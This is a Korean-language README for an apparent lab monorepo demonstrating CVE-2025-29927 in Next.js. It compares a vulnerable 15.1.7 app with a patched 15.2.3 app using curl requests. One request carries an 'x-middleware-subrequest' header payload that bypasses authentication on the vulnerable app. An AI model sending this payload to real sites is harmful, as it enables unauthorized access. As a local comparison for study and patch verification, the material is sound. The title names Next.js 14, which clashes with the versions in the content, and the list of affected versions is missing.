
vulnerable-nextjs-14-CVE-2025-29927
이 레포지토리는 Next.js 15.2.3 버전과 Next.js 15.1.7 버전을 사용하여 CVE-2025-29927 미들웨어 취약점을 비교해볼 수 있는 모노레포 프로젝트입니다.
CVE-2025-29927는 Next.js의 미들웨어에서 발견된 보안 취약점으로, x-middleware-subrequest 헤더를 사용하여 인증 미들웨어를 우회할 수 있는 문제입니다. 이 취약점은 다음 버전에서 영향을 받으며:
pnpm installpnpm dev$ curl http://localhost:3000/api/protected
// {"error":"Unauthorized"}
$ curl http://localhost:3001/api/protected
// {"error":"Unauthorized"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3000/api/protected
// {"message":"Hello World"}
$ curl -H "Authorization: my-jwt-token-here" http://localhost:3001/api/protected
// {"message":"Hello World"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3000/api/protected
// {"error":"Unauthorized"}
curl -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" http://localhost:3001/api/protected
// {"message":"Hello World"}
nextjs-cve-2025-29927/
├── apps/
│ ├── next15_1_7/ # 취약한 버전
│ └── next15_2_3/ # 패치된 버전
├── packages/
│ └── ui/ # 공유 UI 컴포넌트
└── README.md